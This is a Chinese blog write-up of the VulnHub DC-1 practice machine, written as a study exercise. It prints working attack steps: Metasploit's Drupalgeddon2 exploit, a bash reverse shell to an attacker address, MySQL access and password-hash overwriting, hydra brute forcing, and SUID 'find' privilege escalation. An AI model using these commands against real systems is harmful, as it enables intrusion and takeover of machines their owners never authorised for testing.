渗透DC-1靶机笔记

网上有许多教程不完整而且不怎么细腻,对我们小白很不友好,今天刷完这个靶机马上拿小本本记下来。

vulnhub是一个特别好的渗透测试实战网站,里面有许多靶机可以下载,也是小白必刷靶机,比如我,下载地址: https://www.vulnhub.com/entry/dc-1-1,292/
所需环境和网络要求:
VMware
kali
vulnhub-DC-1靶机
两台主机都设置为nat模式
第一步要干什么?
建议先创建一个文件夹,因为攻击靶机的过程会产生很多输出信息;我这里是建了tmp目录下的dc-1的文件夹,后面的操作都在这个文件夹做;
现在不能通过靶机来做任何事情,包括查IP,所以需要在kali上使用arp-scan工具或者nmap工具扫描出靶机的IP地址;

在这里插入图片描述
两种方式都可以,其实这不重要啦!

信息收集

因为这里是靶机实战,所以当然不用收集whois信息还有域名子域名什么的啦,
在这里插入图片描述
根据收集到的信息,我们可以知道服务器是的操作系统是Linux3.2-3.16,开通的端口以及协议版本,这里22端口开着可以考虑爆破,网站容器是apache,服务器语言是php如图,输入index.php页面回显正常
根据收集到的信息,我们可以知道服务器是的操作系统是Linux3.2-3.16,开通的端口以及协议版本,这里22端口开着可以考虑爆破,网站容器是apache,服务器语言是php如图,输入index.php页面回显正常
在这里插入图片描述
试一下robots.txt看看能访问些什么:
在这里插入图片描述
发现都不能访问,但是发现了一些文件路径还是不错,同时还有新发现:
在这里插入图片描述
是基于Drupal的框架,网上有很多教程都是用Wappalyzer进行网站指纹识别,其实不需要,但是也可以复习一下这个插件的使用也问题不大虽然现在不知道版本。但也算是一个小突破点;
因为现在我能力有限,这里实在也找不到注入点,暂时我也不知道什么数据库类型,无非就是 MySQL或者PostgreSQL,也不用知道辽,因为这里已经有了突破点有了突破点;
不要急着去攻击,信息收集阶段都还没有走完呢,比如你的网站目录后台还没有扫吧:
在这里插入图片描述
部分扫描结果是这样,发现有几个网页可以打开:
在这里插入图片描述
在这里插入图片描述
可能会有别的目录但是我懒得等他去扫目录了,发现升级和维护里有个UPDATE.txt点进去看看

在这里插入图片描述
我是在windows上用谷歌看的,表示英语看不大懂,搞了半天唯一的有用信息是drupal的版本信息(不过也不错);

攻击阶段

使用Metasploit进行漏洞查找攻击。metasploit是very强大的漏洞查找工具,具体用法CSDN里面有狠多;
在这里插入图片描述
打开msf,发现会报错,小问题,这是由于postgresql 未进行postgresql 的初始化配置,所以报错没有这个数据库,进行数据配置就好了,命令msfdb init,然后重启你会发现不再报错(其实也不是很影响):
在这里插入图片描述
在这里插入图片描述

查找exp,有很多模块可以利用,选择一个use exploit/unix/webapp/drupal_drupalgeddon2;
这里应该总结一下msf的用法对吧:
进入MSF:msfconsole
(如果有报错进行数据初始化配置)
search命令查找相关漏洞:search 关键词
选择模块使用use命令进入模块;
先info查看;
设置payload(两下TAB):set payload 反弹连接
show options
设置参数:set RHOSTS 192.168.11.132
set LHOST 192.168.11.129
攻击:exploit
小插曲小插曲。我们继续:
在这里插入图片描述
发现是API的注入而且7.x和8.x都可以,再好不过了;
在这里插入图片描述
至此,入侵系统成功,需要找到五个flag;

get flag1

在这里插入图片描述
pwd查看当前路径,也就是网站目录
在这里插入图片描述
ls 查看文件,发现有个flag1.txt文件我们cat看看:
在这里插入图片描述

get flag2

根据flag1的提示,意思是让我们去找配置文件:
在这里插入图片描述
找到配置文件并找到了flag2;

get flag3

给出了mysql的登录名和密码,接下来试着连接数据库:
在这里插入图片描述
然后切上shell连上服务器端,显示频道已连接;
id查看权限:是普通目录权限(2+1)
在这里插入图片描述
检查端口开放情况,3306开放,但是只允许本地连接(127.0.0.1)
现在登入不了的,因为我们的shell是通过http方式获得的,是非持续连接,这里要建立持续性连接MySQL数据库(划重点);所以这里要做一个shell反弹,怎么做呢?
先本地监听一下
在这里插入图片描述
shell反弹命令:bash -i >& /dev/tcp/192.168.11.129/2333 0>&1(bash方式)
这样的话会失败,因为bin下的bash不允许调用;
这里我们输入:python -c ‘import pty;pty.spawn("/bin/bash")’
这里我试了好几下,还好最后成功了,网上有些说要反弹shell两次;
这里看到已经连接上了,因为现在是python调用bash;
在这里插入图片描述


成功了;登入MySQL数据库
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
show tables;(到这里会发现有一张user表)
select * from users\G

在这里插入图片描述
显示的密码是密文,尝试破解没破解出来,决定换一种方法;
我们可以生成一个密码的密文覆盖掉,也就是对数据库数据的更新和修改:
先要生成密码的密文:php scripts/password-hash.sh 123456
在这里插入图片描述
在这里插入图片描述
这样修改密码就成功了!!!
在这里插入图片描述
不负众望,同时也登进了网页;
在这里插入图片描述
我枯了,flag3终于被我找到了,同时还有线索指向flag4;

get flag4

找到/etc/passwd下的文件flag4
在这里插入图片描述

并且这个flag4允许登录,因为/bin/bash!
使用hydra爆破以后得到密码orange登录;
在这里插入图片描述
在这里插入图片描述
打开flag4.txt的内容,其实之前这里这个文件已经被我找到并且打开了,你们可以摸索摸索(随便翻翻目录就有答案)

get flag5

接下来根据他的提示在root家目录下找最后一个flag;之前我也试过打开这个文件但是打不开,需要文件,这里需要提取咯~
先检查系统是否有一些命令有SUID标识,如果有SUID的标识,这些命令就可以短暂的获得root命令权限;
find /-perm -4000 2>/dev/null:查找具有SUID标识的一些命令;
在这里插入图片描述

创建一个haha的文件夹;
通过find提权:find haha -exec “/bin/sh” ;
然后根据下面的步骤得到flag(我记得第一遍做的时候也是通过目录找到了这个文件)
在这里插入图片描述
得到最终的flag;

总结

1.首先是对信息收集流程的复习
2.其次就是nmap、metaploit、hydra、arp-scan等工具的使用
3.对几个不熟悉的概念的熟悉以及命令比如:find提权、bash、shell反弹等
对我来说这次学到超级多的东西,原本是奔着如何提权来的,不过现在感觉收获也不小,继续加油!

发布了16 篇原创文章 · 获赞 67 · 访问量 4130

猜你喜欢

转载自blog.csdn.net/qq_43571759/article/details/104737137
今日推荐